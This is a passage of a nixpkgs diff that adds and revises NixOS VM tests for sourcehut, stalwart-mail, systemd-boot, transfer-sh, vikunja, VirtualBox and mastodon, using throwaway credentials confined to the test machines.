"buildsrht-oauth-client-secret" "2260e9c4d9b8dcedcef642860e0504bc"; - oauth-client-id = "299db9f9c2013170"; - }; - settings."git.sr.ht" = { - oauth-client-secret = pkgs.writeText "gitsrht-oauth-client-secret" "3597288dc2c716e567db5384f493b09d"; - oauth-client-id = "d07cb713d920702e"; - }; - settings.webhooks.private-key = pkgs.writeText "webhook-key" "Ra3IjxgFiwG9jxgp4WALQIZw/BMYt30xWiOsqD0J7EA="; - settings.mail = { - smtp-from = "root+hut@${domain}"; - # WARNING: take care to keep pgp-privkey outside the Nix store in production, - # or use LoadCredentialEncrypted= - pgp-privkey = toString (pkgs.writeText "sourcehut.pgp-privkey" '' - -----BEGIN PGP PRIVATE KEY BLOCK----- - - lFgEYqDRORYJKwYBBAHaRw8BAQdAehGoy36FUx2OesYm07be2rtLyvR5Pb/ltstd - Gk7hYQoAAP9X4oPmxxrHN8LewBpWITdBomNqlHoiP7mI0nz/BOPJHxEktDZuaXhv - cy90ZXN0cy9zb3VyY2VodXQgPHJvb3QraHV0QHNvdXJjZWh1dC5sb2NhbGRvbWFp - bj6IlwQTFgoAPxYhBPqjgjnL8RHN4JnADNicgXaYm0jJBQJioNE5AhsDBQkDwmcA - BgsJCAcDCgUVCgkICwUWAwIBAAIeBQIXgAAKCRDYnIF2mJtIySVCAP9e2nHsVHSi - 2B1YGZpVG7Xf36vxljmMkbroQy+0gBPwRwEAq+jaiQqlbGhQ7R/HMFcAxBIVsq8h - Aw1rngsUd0o3dAicXQRioNE5EgorBgEEAZdVAQUBAQdAXZV2Sd5ZNBVTBbTGavMv - D6ORrUh8z7TI/3CsxCE7+yADAQgHAAD/c1RU9xH+V/uI1fE7HIn/zL0LUPpsuce2 - cH++g4u3kBgTOYh+BBgWCgAmFiEE+qOCOcvxEc3gmcAM2JyBdpibSMkFAmKg0TkC - GwwFCQPCZwAACgkQ2JyBdpibSMlKagD/cTre6p1m8QuJ7kwmCFRSz5tBzIuYMMgN - xtT7dmS91csA/35fWsOykSiFRojQ7ccCSUTHL7ApF2EbL968tP/D2hIG - =Hjoc - -----END PGP PRIVATE KEY BLOCK----- - ''); - pgp-pubkey = pkgs.writeText "sourcehut.pgp-pubkey" '' - -----BEGIN PGP PUBLIC KEY BLOCK----- - - mDMEYqDRORYJKwYBBAHaRw8BAQdAehGoy36FUx2OesYm07be2rtLyvR5Pb/ltstd - Gk7hYQq0Nm5peG9zL3Rlc3RzL3NvdXJjZWh1dCA8cm9vdCtodXRAc291cmNlaHV0 - LmxvY2FsZG9tYWluPoiXBBMWCgA/FiEE+qOCOcvxEc3gmcAM2JyBdpibSMkFAmKg - 0TkCGwMFCQPCZwAGCwkIBwMKBRUKCQgLBRYDAgEAAh4FAheAAAoJENicgXaYm0jJ - JUIA/17acexUdKLYHVgZmlUbtd/fq/GWOYyRuuhDL7SAE/BHAQCr6NqJCqVsaFDt - H8cwVwDEEhWyryEDDWueCxR3Sjd0CLg4BGKg0TkSCisGAQQBl1UBBQEBB0BdlXZJ - 3lk0FVMFtMZq8y8Po5GtSHzPtMj/cKzEITv7IAMBCAeIfgQYFgoAJhYhBPqjgjnL - 8RHN4JnADNicgXaYm0jJBQJioNE5AhsMBQkDwmcAAAoJENicgXaYm0jJSmoA/3E6 - 3uqdZvELie5MJghUUs+bQcyLmDDIDcbU+3ZkvdXLAP9+X1rDspEohUaI0O3HAklE - xy+wKRdhGy/evLT/w9oSBg== - =pJD7 - -----END PGP PUBLIC KEY BLOCK----- - ''; - pgp-key-id = "0xFAA38239CBF111CDE099C00CD89C8176989B48C9"; - }; - }; - - networking.firewall.allowedTCPPorts = [ 443 ]; - security.pki.certificateFiles = [ "${tls-cert}/cert.pem" ]; - services.nginx = { - enable = true; - recommendedGzipSettings = true; - recommendedOptimisation = true; - recommendedTlsSettings = true; - recommendedProxySettings = true; - }; - - services.postgresql = { - enable = true; - enableTCPIP = false; - settings.unix_socket_permissions = "0770"; - }; - }; - - testScript = '' - start_all() - machine.wait_for_unit("multi-user.target") - - # Testing metasrht - machine.wait_for_unit("metasrht-api.service") - machine.wait_for_unit("metasrht.service") - machine.wait_for_unit("metasrht-webhooks.service") - machine.wait_for_open_port(5000) - machine.succeed("curl -sL http://localhost:5000 | grep meta.${domain}") - machine.succeed("curl -sL http://meta.${domain} | grep meta.${domain}") - - # Testing buildsrht - machine.wait_for_unit("buildsrht.service") - machine.wait_for_open_port(5002) - machine.succeed("curl -sL http://localhost:5002 | grep builds.${domain}") - #machine.wait_for_unit("buildsrht-worker.service") - - # Testing gitsrht - machine.wait_for_unit("gitsrht-api.service") - machine.wait_for_unit("gitsrht.service") - machine.wait_for_unit("gitsrht-webhooks.service") - machine.succeed("curl -sL http://git.${domain} | grep git.${domain}") - ''; -}) diff --git a/nixos/tests/sourcehut/builds.nix b/nixos/tests/sourcehut/builds.nix new file mode 100644 index 0000000000000..f1f928ecc3d0a --- /dev/null +++ b/nixos/tests/sourcehut/builds.nix @@ -0,0 +1,54 @@ +import ../make-test-python.nix ({ pkgs, lib, ... }: +let + domain = "sourcehut.localdomain"; +in +{ + name = "sourcehut"; + + meta.maintainers = with pkgs.lib.maintainers; [ tomberek nessdoor ]; + + nodes.machine = { config, pkgs, nodes, ... }: { + imports = [ + ./nodes/common.nix + ]; + + networking.domain = domain; + networking.extraHosts = '' + ${config.networking.primaryIPAddress} builds.${domain} + ${config.networking.primaryIPAddress} meta.${domain} + ''; + + services.sourcehut = { + builds = { + enable = true; + # FIXME: see why it does not seem to activate fully. + #enableWorker = true; + images = { }; + }; + + settings."builds.sr.ht" = { + oauth-client-secret = pkgs.writeText "buildsrht-oauth-client-secret" "2260e9c4d9b8dcedcef642860e0504bc"; + oauth-client-id = "299db9f9c2013170"; + }; + }; + }; + + testScript = '' + start_all() + machine.wait_for_unit("multi-user.target") + + with subtest("Check whether meta comes up"): + machine.wait_for_unit("metasrht-api.service") + machine.wait_for_unit("metasrht.service") + machine.wait_for_unit("metasrht-webhooks.service") + machine.wait_for_open_port(5000) + machine.succeed("curl -sL http://localhost:5000 | grep meta.${domain}") + machine.succeed("curl -sL http://meta.${domain} | grep meta.${domain}") + + with subtest("Check whether builds comes up"): + machine.wait_for_unit("buildsrht.service") + machine.wait_for_open_port(5002) + machine.succeed("curl -sL http://localhost:5002 | grep builds.${domain}") + #machine.wait_for_unit("buildsrht-worker.service") + ''; +}) diff --git a/nixos/tests/sourcehut/default.nix b/nixos/tests/sourcehut/default.nix new file mode 100644 index 0000000000000..04f1551d70d91 --- /dev/null +++ b/nixos/tests/sourcehut/default.nix @@ -0,0 +1,6 @@ +{ system, pkgs, ... }: + +{ + git = import ./git.nix { inherit system pkgs; }; + builds = import ./builds.nix { inherit system pkgs; }; +} diff --git a/nixos/tests/sourcehut/git.nix b/nixos/tests/sourcehut/git.nix new file mode 100644 index 0000000000000..ed184d5d55180 --- /dev/null +++ b/nixos/tests/sourcehut/git.nix @@ -0,0 +1,96 @@ +import ../make-test-python.nix ({ pkgs, lib, ... }: +let + domain = "sourcehut.localdomain"; +in +{ + name = "sourcehut"; + + meta.maintainers = with pkgs.lib.maintainers; [ tomberek nessdoor ]; + + nodes.machine = { config, pkgs, nodes, ... }: { + imports = [ + ./nodes/common.nix + ]; + + networking.domain = domain; + networking.extraHosts = '' + ${config.networking.primaryIPAddress} git.${domain} + ${config.networking.primaryIPAddress} meta.${domain} + ''; + + services.sourcehut = { + git.enable = true; + settings."git.sr.ht" = { + oauth-client-secret = pkgs.writeText "gitsrht-oauth-client-secret" "3597288dc2c716e567db5384f493b09d"; + oauth-client-id = "d07cb713d920702e"; + }; + }; + + environment.systemPackages = with pkgs; [ + git + ]; + }; + + testScript = + let + userName = "nixos-test"; + userPass = "AutoNixosTestPwd"; + hutConfig = pkgs.writeText "hut-config" '' + instance "${domain}" { + # Will be replaced at runtime with the generated token + access-token "OAUTH-TOKEN" + } + ''; + sshConfig = pkgs.writeText "ssh-config" '' + Host git.${domain} + IdentityFile = ~/.ssh/id_rsa + ''; + in + '' + start_all() + machine.wait_for_unit("multi-user.target") + machine.wait_for_unit("sshd.service") + + with subtest("Check whether meta comes up"): + machine.wait_for_unit("metasrht-api.service") + machine.wait_for_unit("metasrht.service") + machine.wait_for_unit("metasrht-webhooks.service") + machine.wait_for_open_port(5000) + machine.succeed("curl -sL http://localhost:5000 | grep meta.${domain}") + machine.succeed("curl -sL http://meta.${domain} | grep meta.${domain}") + + with subtest("Create a new user account and OAuth access key"): + machine.succeed("echo ${userPass} | metasrht-manageuser -ps -e ${userName}@${domain}\ + -t active_paying ${userName}"); + (_, token) = machine.execute("srht-gen-oauth-tok -i ${domain} -q ${userName} ${userPass}") + token = token.strip().replace("/", r"\\/") # Escape slashes in token before passing it to sed + machine.execute("mkdir -p ~/.config/hut/") + machine.execute("sed s/OAUTH-TOKEN/" + token + "/ ${hutConfig} > ~/.config/hut/config") + + with subtest("Check whether git comes up"): + machine.wait_for_unit("gitsrht-api.service") + machine.wait_for_unit("gitsrht.service") + machine.wait_for_unit("gitsrht-webhooks.service") + machine.succeed("curl -sL http://git.${domain} | grep git.${domain}") + + with subtest("Add an SSH key for Git access"): + machine.execute("ssh-keygen -q -N \"\" -t rsa -f ~/.ssh/id_rsa") + machine.execute("cat ${sshConfig} > ~/.ssh/config") + machine.succeed("hut meta ssh-key create ~/.ssh/id_rsa.pub") + + with subtest("Create a new repo and push contents to it"): + machine.execute("git init test") + machine.execute("echo \"Hello world!\" > test/hello.txt") + machine.execute("cd test && git add .") + machine.execute("cd test && git commit -m \"Initial commit\"") + machine.execute("cd test && git tag v0.1") + machine.succeed("cd test && git remote add origin gitsrht@git.${domain}:~${userName}/test") + machine.execute("( echo -n 'git.${domain} '; cat /etc/ssh/ssh_host_ed25519_key.pub ) > ~/.ssh/known_hosts") + machine.succeed("hut git create test") + machine.succeed("cd test && git push --tags --set-upstream origin master") + + with subtest("Verify that the repo is downloadable and its contents match the original"): + machine.succeed("curl https://git.${domain}/~${userName}/test/archive/v0.1.tar.gz | tar -xz") + machine.succeed("diff test-v0.1/hello.txt test/hello.txt") + ''; +}) diff --git a/nixos/tests/sourcehut/nodes/common.nix b/nixos/tests/sourcehut/nodes/common.nix new file mode 100644 index 0000000000000..f0a81358f9721 --- /dev/null +++ b/nixos/tests/sourcehut/nodes/common.nix @@ -0,0 +1,107 @@ +{ config, pkgs, nodes, ... }: +let + domain = config.networking.domain; + + # Note that wildcard certificates just under the TLD (eg. *.com) + # would be rejected by clients like curl. + tls-cert = pkgs.runCommand "selfSignedCerts" { buildInputs = [ pkgs.openssl ]; } '' + openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -nodes -days 36500 \ + -subj '/CN=${domain}' -extensions v3_req \ + -addext 'subjectAltName = DNS:*.${domain}' + install -D -t $out key.pem cert.pem + ''; +in +{ + # buildsrht needs space + virtualisation.diskSize = 4 * 1024; + virtualisation.memorySize = 2 * 1024; + networking.enableIPv6 = false; + + services.sourcehut = { + enable = true; + nginx.enable = true; + nginx.virtualHost = { + forceSSL = true; + sslCertificate = "${tls-cert}/cert.pem"; + sslCertificateKey = "${tls-cert}/key.pem"; + }; + postgresql.enable = true; + redis.enable = true; + + meta.enable = true; + + settings."sr.ht" = { + environment = "production"; + global-domain = config.networking.domain; + service-key = pkgs.writeText "service-key" "8b327279b77e32a3620e2fc9aabce491cc46e7d821fd6713b2a2e650ce114d01"; + network-key = pkgs.writeText "network-key" "cEEmc30BRBGkgQZcHFksiG7hjc6_dK1XR2Oo5Jb9_nQ="; + }; + settings.webhooks.private-key = pkgs.writeText "webhook-key" "Ra3IjxgFiwG9jxgp4WALQIZw/BMYt30xWiOsqD0J7EA="; + settings.mail = { + smtp-from = "root+hut@${domain}"; + # WARNING: take care to keep pgp-privkey outside the Nix store in production, + # or use LoadCredentialEncrypted= + pgp-privkey = toString (pkgs.writeText "sourcehut.pgp-privkey" '' + -----BEGIN PGP PRIVATE KEY BLOCK----- + + lFgEYqDRORYJKwYBBAHaRw8BAQdAehGoy36FUx2OesYm07be2rtLyvR5Pb/ltstd + Gk7hYQoAAP9X4oPmxxrHN8LewBpWITdBomNqlHoiP7mI0nz/BOPJHxEktDZuaXhv + cy90ZXN0cy9zb3VyY2VodXQgPHJvb3QraHV0QHNvdXJjZWh1dC5sb2NhbGRvbWFp + bj6IlwQTFgoAPxYhBPqjgjnL8RHN4JnADNicgXaYm0jJBQJioNE5AhsDBQkDwmcA + BgsJCAcDCgUVCgkICwUWAwIBAAIeBQIXgAAKCRDYnIF2mJtIySVCAP9e2nHsVHSi + 2B1YGZpVG7Xf36vxljmMkbroQy+0gBPwRwEAq+jaiQqlbGhQ7R/HMFcAxBIVsq8h + Aw1rngsUd0o3dAicXQRioNE5EgorBgEEAZdVAQUBAQdAXZV2Sd5ZNBVTBbTGavMv + D6ORrUh8z7TI/3CsxCE7+yADAQgHAAD/c1RU9xH+V/uI1fE7HIn/zL0LUPpsuce2 + cH++g4u3kBgTOYh+BBgWCgAmFiEE+qOCOcvxEc3gmcAM2JyBdpibSMkFAmKg0TkC + GwwFCQPCZwAACgkQ2JyBdpibSMlKagD/cTre6p1m8QuJ7kwmCFRSz5tBzIuYMMgN + xtT7dmS91csA/35fWsOykSiFRojQ7ccCSUTHL7ApF2EbL968tP/D2hIG + =Hjoc + -----END PGP PRIVATE KEY BLOCK----- + ''); + pgp-pubkey = pkgs.writeText "sourcehut.pgp-pubkey" '' + -----BEGIN PGP PUBLIC KEY BLOCK----- + + mDMEYqDRORYJKwYBBAHaRw8BAQdAehGoy36FUx2OesYm07be2rtLyvR5Pb/ltstd + Gk7hYQq0Nm5peG9zL3Rlc3RzL3NvdXJjZWh1dCA8cm9vdCtodXRAc291cmNlaHV0 + LmxvY2FsZG9tYWluPoiXBBMWCgA/FiEE+qOCOcvxEc3gmcAM2JyBdpibSMkFAmKg + 0TkCGwMFCQPCZwAGCwkIBwMKBRUKCQgLBRYDAgEAAh4FAheAAAoJENicgXaYm0jJ + JUIA/17acexUdKLYHVgZmlUbtd/fq/GWOYyRuuhDL7SAE/BHAQCr6NqJCqVsaFDt + H8cwVwDEEhWyryEDDWueCxR3Sjd0CLg4BGKg0TkSCisGAQQBl1UBBQEBB0BdlXZJ + 3lk0FVMFtMZq8y8Po5GtSHzPtMj/cKzEITv7IAMBCAeIfgQYFgoAJhYhBPqjgjnL + 8RHN4JnADNicgXaYm0jJBQJioNE5AhsMBQkDwmcAAAoJENicgXaYm0jJSmoA/3E6 + 3uqdZvELie5MJghUUs+bQcyLmDDIDcbU+3ZkvdXLAP9+X1rDspEohUaI0O3HAklE + xy+wKRdhGy/evLT/w9oSBg== + =pJD7 + -----END PGP PUBLIC KEY BLOCK----- + ''; + pgp-key-id = "0xFAA38239CBF111CDE099C00CD89C8176989B48C9"; + }; + }; + + networking.firewall.allowedTCPPorts = [ 80 443 ]; + security.pki.certificateFiles = [ "${tls-cert}/cert.pem" ]; + services.nginx = { + enable = true; + recommendedGzipSettings = true; + recommendedOptimisation = true; + recommendedTlsSettings = true; + recommendedProxySettings = true; + }; + + services.postgresql = { + enable = true; + enableTCPIP = false; + settings.unix_socket_permissions = "0770"; + }; + + services.openssh = { + enable = true; + settings.PasswordAuthentication = false; + settings.PermitRootLogin = "no"; + }; + + environment.systemPackages = with pkgs; [ + hut # For interacting with the Sourcehut APIs via CLI + srht-gen-oauth-tok # To automatically generate user OAuth tokens + ]; +} diff --git a/nixos/tests/stalwart-mail.nix b/nixos/tests/stalwart-mail.nix index b5589966a160f..634c0e2e39261 100644 --- a/nixos/tests/stalwart-mail.nix +++ b/nixos/tests/stalwart-mail.nix @@ -42,20 +42,22 @@ in import ./make-test-python.nix ({ lib, ... }: { session.auth.mechanisms = [ "PLAIN" ]; session.auth.directory = "in-memory"; - jmap.directory = "in-memory"; # shared with imap + storage.directory = "in-memory"; # shared with imap session.rcpt.directory = "in-memory"; queue.outbound.next-hop = [ "local" ]; directory."in-memory" = { type = "memory"; - users = [ + principals = [ { + type = "individual"; name = "alice"; secret = "foobar"; email = [ "alice@${domain}" ]; } { + type = "individual"; name = "bob"; secret = "foobar"; email = [ "bob@${domain}" ]; @@ -90,8 +92,9 @@ in import ./make-test-python.nix ({ lib, ... }: { with IMAP4('localhost') as imap: imap.starttls() - imap.login('bob', 'foobar') - imap.select('"All Mail"') + status, [caps] = imap.login('bob', 'foobar') + assert status == 'OK' + imap.select() status, [ref] = imap.search(None, 'ALL') assert status == 'OK' [msgId] = ref.split() diff --git a/nixos/tests/systemd-boot.nix b/nixos/tests/systemd-boot.nix index c0b37a230df0f..54c380602bd40 100644 --- a/nixos/tests/systemd-boot.nix +++ b/nixos/tests/systemd-boot.nix @@ -14,6 +14,72 @@ let boot.loader.efi.canTouchEfiVariables = true; environment.systemPackages = [ pkgs.efibootmgr ]; }; + + commonXbootldr = { config, lib, pkgs, ... }: + let + diskImage = import ../lib/make-disk-image.nix { + inherit config lib pkgs; + label = "nixos"; + format = "qcow2"; + partitionTableType = "efixbootldr"; + touchEFIVars = true; + installBootLoader = true; + }; + in + { + imports = [ common ]; + virtualisation.useBootLoader = lib.mkForce false; # Only way to tell qemu-vm not to create the default system image + virtualisation.directBoot.enable = false; # But don't direct boot either because we're testing systemd-boot + + system.build.diskImage = diskImage; # Use custom disk image with an XBOOTLDR partition + virtualisation.efi.variables = "${diskImage}/efi-vars.fd"; + + virtualisation.useDefaultFilesystems = false; # Needs custom setup for `diskImage` + virtualisation.bootPartition = null; + virtualisation.fileSystems = { + "/" = { + device = "/dev/vda3"; + fsType = "ext4"; + }; + "/boot" = { + device = "/dev/vda2"; + fsType = "vfat"; + noCheck = true; + }; + "/efi" = { + device = "/dev/vda1"; + fsType = "vfat"; + noCheck = true; + }; + }; + + boot.loader.systemd-boot.enable = true; + boot.loader.efi.efiSysMountPoint = "/efi"; + boot.loader.systemd-boot.xbootldrMountPoint = "/boot"; + }; + + customDiskImage = nodes: '' + import os + import subprocess + import tempfile + + tmp_disk_image = tempfile.NamedTemporaryFile() + + subprocess.run([ + "${nodes.machine.virtualisation.qemu.package}/bin/qemu-img", + "create", + "-f", + "qcow2", + "-b", + "${nodes.machine.system.build.diskImage}/nixos.qcow2", + "-F", + "qcow2", + tmp_disk_image.name, + ]) + + # Set NIX_DISK_IMAGE so that the qemu script finds the right disk image. + os.environ['NIX_DISK_IMAGE'] = tmp_disk_image.name + ''; in { basic = makeTest { @@ -27,6 +93,61 @@ in machine.wait_for_unit("multi-user.target") machine.succeed("test -e /boot/loader/entries/nixos-generation-1.conf") + machine.succeed("grep 'sort-key nixos' /boot/loader/entries/nixos-generation-1.conf") + + # Ensure we actually booted using systemd-boot + # Magic number is the vendor UUID used by systemd-boot. + machine.succeed( + "test -e /sys/firmware/efi/efivars/LoaderEntrySelected-4a67b082-0a4c-41cf-b6c7-440b29bb8c4f" + ) + + # "bootctl install" should have created an EFI entry + machine.succeed('efibootmgr | grep "Linux Boot Manager"') + ''; + }; + + # Test that systemd-boot works with secure boot + secureBoot = makeTest { + name = "systemd-boot-secure-boot"; + + nodes.machine = { + imports = [ common ]; + environment.systemPackages = [ pkgs.sbctl ]; + virtualisation.useSecureBoot = true; + }; + + testScript = let + efiArch = pkgs.stdenv.hostPlatform.efiArch; + in { nodes, ... }: '' + machine.start(allow_reboot=True) + machine.wait_for_unit("multi-user.target") + + machine.succeed("sbctl create-keys") + machine.succeed("sbctl enroll-keys --yes-this-might-brick-my-machine") + machine.succeed('sbctl sign /boot/EFI/systemd/systemd-boot${efiArch}.efi') + machine.succeed('sbctl sign /boot/EFI/BOOT/BOOT${toUpper efiArch}.EFI') + machine.succeed('sbctl sign /boot/EFI/nixos/*${nodes.machine.system.boot.loader.kernelFile}.efi') + + machine.reboot() + + assert "Secure Boot: enabled (user)" in machine.succeed("bootctl status") + ''; + }; + + basicXbootldr = makeTest { + name = "systemd-boot-xbootldr"; + meta.maintainers = with pkgs.lib.maintainers; [ sdht0 ]; + + nodes.machine = commonXbootldr; + + testScript = { nodes, ... }: '' + ${customDiskImage nodes} + + machine.start() + machine.wait_for_unit("multi-user.target") + + machine.succeed("test -e /efi/EFI/systemd/systemd-bootx64.efi") + machine.succeed("test -e /boot/loader/entries/nixos-generation-1.conf") # Ensure we actually booted using systemd-boot # Magic number is the vendor UUID used by systemd-boot. @@ -46,7 +167,9 @@ in nodes.machine = { pkgs, lib, ... }: { imports = [ common ]; - specialisation.something.configuration = {}; + specialisation.something.configuration = { + boot.loader.systemd-boot.sortKey = "something"; + }; }; testScript = '' @@ -59,6 +182,9 @@ in machine.succeed( "grep -q 'title NixOS (something)' /boot/loader/entries/nixos-generation-1-specialisation-something.conf" ) + machine.succeed( + "grep 'sort-key something' /boot/loader/entries/nixos-generation-1-specialisation-something.conf" + ) ''; }; @@ -136,25 +262,46 @@ in }; testScript = '' - machine.succeed("test -e /boot/loader/entries/o_netbootxyz.conf") + machine.succeed("test -e /boot/loader/entries/netbootxyz.conf") machine.succeed("test -e /boot/efi/netbootxyz/netboot.xyz.efi") ''; }; - entryFilename = makeTest { - name = "systemd-boot-entry-filename"; + memtestSortKey = makeTest { + name = "systemd-boot-memtest-sortkey"; meta.maintainers = with pkgs.lib.maintainers; [ Enzime julienmalka ]; nodes.machine = { pkgs, lib, ... }: { imports = [ common ]; boot.loader.systemd-boot.memtest86.enable = true; - boot.loader.systemd-boot.memtest86.entryFilename = "apple.conf"; + boot.loader.systemd-boot.memtest86.sortKey = "apple"; }; testScript = '' - machine.fail("test -e /boot/loader/entries/memtest86.conf") - machine.succeed("test -e /boot/loader/entries/apple.conf") + machine.succeed("test -e /boot/loader/entries/memtest86.conf") machine.succeed("test -e /boot/efi/memtest86/memtest.efi") + machine.succeed("grep 'sort-key apple' /boot/loader/entries/memtest86.conf") + ''; + }; + + entryFilenameXbootldr = makeTest { + name = "systemd-boot-entry-filename-xbootldr"; + meta.maintainers = with pkgs.lib.maintainers; [ sdht0 ]; + + nodes.machine = { pkgs, lib, ... }: { + imports = [ commonXbootldr ]; + boot.loader.systemd-boot.memtest86.enable = true; + }; + + testScript = { nodes, ... }: '' + ${customDiskImage nodes} + + machine.start() + machine.wait_for_unit("multi-user.target") + + machine.succeed("test -e /efi/EFI/systemd/systemd-bootx64.efi") + machine.succeed("test -e /boot/loader/entries/memtest86.conf") + machine.succeed("test -e /boot/EFI/memtest86/memtest.efi") ''; }; @@ -245,9 +392,9 @@ in machine.succeed("${finalSystem}/bin/switch-to-configuration boot") machine.fail("test -e /boot/efi/fruits/tomato.efi") machine.fail("test -e /boot/efi/nixos/.extra-files/efi/fruits/tomato.efi") - machine.succeed("test -e /boot/loader/entries/o_netbootxyz.conf") + machine.succeed("test -e /boot/loader/entries/netbootxyz.conf") machine.succeed("test -e /boot/efi/netbootxyz/netboot.xyz.efi") - machine.succeed("test -e /boot/efi/nixos/.extra-files/loader/entries/o_netbootxyz.conf") + machine.succeed("test -e /boot/efi/nixos/.extra-files/loader/entries/netbootxyz.conf") machine.succeed("test -e /boot/efi/nixos/.extra-files/efi/netbootxyz/netboot.xyz.efi") ''; }; diff --git a/nixos/tests/transfer-sh.nix b/nixos/tests/transfer-sh.nix new file mode 100644 index 0000000000000..f4ab7d28858e1 --- /dev/null +++ b/nixos/tests/transfer-sh.nix @@ -0,0 +1,20 @@ +import ./make-test-python.nix ({ pkgs, lib, ... }: { + name = "transfer-sh"; + + meta = { + maintainers = with lib.maintainers; [ ocfox ]; + }; + + nodes.machine = { pkgs, ... }: { + services.transfer-sh = { + enable = true; + settings.LISTENER = ":1234"; + }; + }; + + testScript = '' + machine.wait_for_unit("transfer-sh.service") + machine.wait_for_open_port(1234) + machine.succeed("curl --fail http://localhost:1234/") + ''; +}) diff --git a/nixos/tests/vikunja.nix b/nixos/tests/vikunja.nix index 60fd5ce13854e..4e2bf166a7b6c 100644 --- a/nixos/tests/vikunja.nix +++ b/nixos/tests/vikunja.nix @@ -13,15 +13,20 @@ import ./make-test-python.nix ({ pkgs, lib, ... }: { frontendScheme = "http"; frontendHostname = "localhost"; }; - services.nginx.enable = true; + services.nginx = { + enable = true; + virtualHosts."http://localhost" = { + locations."/".proxyPass = "http://localhost:3456"; + }; + }; }; vikunjaPostgresql = { pkgs, ... }: { services.vikunja = { enable = true; database = { type = "postgres"; - user = "vikunja-api"; - database = "vikunja-api"; + user = "vikunja"; + database = "vikunja"; host = "/run/postgresql"; }; frontendScheme = "http"; @@ -30,20 +35,25 @@ import ./make-test-python.nix ({ pkgs, lib, ... }: { }; services.postgresql = { enable = true; - ensureDatabases = [ "vikunja-api" ]; + ensureDatabases = [ "vikunja" ]; ensureUsers = [ - { name = "vikunja-api"; + { name = "vikunja"; ensureDBOwnership = true; } ]; }; - services.nginx.enable = true; + services.nginx = { + enable = true; + virtualHosts."http://localhost" = { + locations."/".proxyPass = "http://localhost:9090"; + }; + }; }; }; testScript = '' - vikunjaSqlite.wait_for_unit("vikunja-api.service") + vikunjaSqlite.wait_for_unit("vikunja.service") vikunjaSqlite.wait_for_open_port(3456) vikunjaSqlite.succeed("curl --fail http://localhost:3456/api/v1/info") @@ -52,7 +62,7 @@ import ./make-test-python.nix ({ pkgs, lib, ... }: { vikunjaSqlite.succeed("curl --fail http://localhost/api/v1/info") vikunjaSqlite.succeed("curl --fail http://localhost") - vikunjaPostgresql.wait_for_unit("vikunja-api.service") + vikunjaPostgresql.wait_for_unit("vikunja.service") vikunjaPostgresql.wait_for_open_port(9090) vikunjaPostgresql.succeed("curl --fail http://localhost:9090/api/v1/info") diff --git a/nixos/tests/virtualbox.nix b/nixos/tests/virtualbox.nix index e522d0679e151..3c2a391233dbd 100644 --- a/nixos/tests/virtualbox.nix +++ b/nixos/tests/virtualbox.nix @@ -3,6 +3,7 @@ pkgs ? import ../.. { inherit system config; }, debug ? false, enableUnfree ? false, + enableKvm ? false, use64bitGuest ? true }: @@ -340,7 +341,7 @@ let testExtensionPack.vmFlags = enableExtensionPackVMFlags; }; - mkVBoxTest = useExtensionPack: vms: name: testScript: makeTest { + mkVBoxTest = vboxHostConfig: vms: name: testScript: makeTest { name = "virtualbox-${name}"; nodes.machine = { lib, config, ... }: { @@ -349,14 +350,23 @@ let vmConfigs = mapAttrsToList mkVMConf vms; in [ ./common/user-account.nix ./common/x11.nix ] ++ vmConfigs; virtualisation.memorySize = 2048; - virtualisation.qemu.options = ["-cpu" "kvm64,svm=on,vmx=on"]; - virtualisation.virtualbox.host.enable = true; + + virtualisation.qemu.options = let + # IvyBridge is reasonably ancient to be compatible with recent + # Intel/AMD hosts and sufficient for the KVM flavor. + guestCpu = if config.virtualisation.virtualbox.host.enableKvm then "IvyBridge" else "kvm64"; + in ["-cpu" "${guestCpu},svm=on,vmx=on"]; + test-support.displayManager.auto.user = "alice"; users.users.alice.extraGroups = let inherit (config.virtualisation.virtualbox.host) enableHardening; - in lib.mkIf enableHardening (lib.singleton "vboxusers"); - virtualisation.virtualbox.host.enableExtensionPack = useExtensionPack; - nixpkgs.config.allowUnfree = useExtensionPack; + in lib.mkIf enableHardening [ "vboxusers" ]; + + virtualisation.virtualbox.host = { + enable = true; + } // vboxHostConfig; + + nixpkgs.config.allowUnfree = config.virtualisation.virtualbox.host.enableExtensionPack; }; testScript = '' @@ -390,7 +400,7 @@ let }; }; - unfreeTests = mapAttrs (mkVBoxTest true vboxVMsWithExtpack) { + unfreeTests = mapAttrs (mkVBoxTest { enableExtensionPack = true; } vboxVMsWithExtpack) { enable-extension-pack = '' create_vm_testExtensionPack() vbm("startvm testExtensionPack") @@ -409,7 +419,24 @@ let ''; }; -in mapAttrs (mkVBoxTest false vboxVMs) { + kvmTests = mapAttrs (mkVBoxTest { + enableKvm = true; + + # Once the KVM version supports these, we can enable them. + addNetworkInterface = false; + enableHardening = false; + } vboxVMs) { + kvm-headless = '' + create_vm_headless() + machine.succeed(ru("VBoxHeadless --startvm headless >&2 & disown %1")) + wait_for_startup_headless() + wait_for_vm_boot_headless() + shutdown_vm_headless() + destroy_vm_headless() + ''; + }; + +in mapAttrs (mkVBoxTest {} vboxVMs) { simple-gui = '' # Home to select Tools, down to move to the VM, enter to start it. def send_vm_startup(): @@ -519,4 +546,6 @@ in mapAttrs (mkVBoxTest false vboxVMs) { destroy_vm_test1() destroy_vm_test2() ''; -} // (optionalAttrs enableUnfree unfreeTests) +} +// (optionalAttrs enableKvm kvmTests) +// (optionalAttrs enableUnfree unfreeTests) diff --git a/nixos/tests/web-apps/mastodon/default.nix b/nixos/tests/web-apps/mastodon/default.nix index 411ebfcd731b2..178590d13b63c 100644 --- a/nixos/tests/web-apps/mastodon/default.nix +++ b/nixos/tests/web-apps/mastodon/default.nix @@ -5,5 +5,5 @@ let in { standard = handleTestOn supportedSystems ./standard.nix { inherit system; }; - remote-postgresql = handleTestOn supportedSystems ./remote-postgresql.nix { inherit system; }; + remote-databases = handleTestOn supportedSystems ./remote-databases.nix { inherit system; }; } diff --git a/nixos/tests/web-apps/mastodon/remote-postgresql.nix b/nixos/tests/web-apps/mastodon/remote-databases.nix index 6548883db4526..fa6430a993531 100644 --- a/nixos/tests/web-apps/mastodon/remote-postgresql.nix +++ b/nixos/tests/web-apps/mastodon/remote-databases.nix @@ -16,7 +16,14 @@ in meta.maintainers = with pkgs.lib.maintainers; [ erictapen izorkin ]; nodes = { - database = { config, ... }: { + databases = { config, ... }: { + environment = { + etc = { + "redis/password-redis-db".text = '' + ogjhJL8ynrP7MazjYOF6 + ''; + }; + }; networking = { interfaces.eth1 = { ipv4.addresses = [ @@ -24,7 +31,17 @@ in ]; }; extraHosts = hosts; - firewall.allowedTCPPorts = [ config.services.postgresql.port ]; + firewall.allowedTCPPorts = 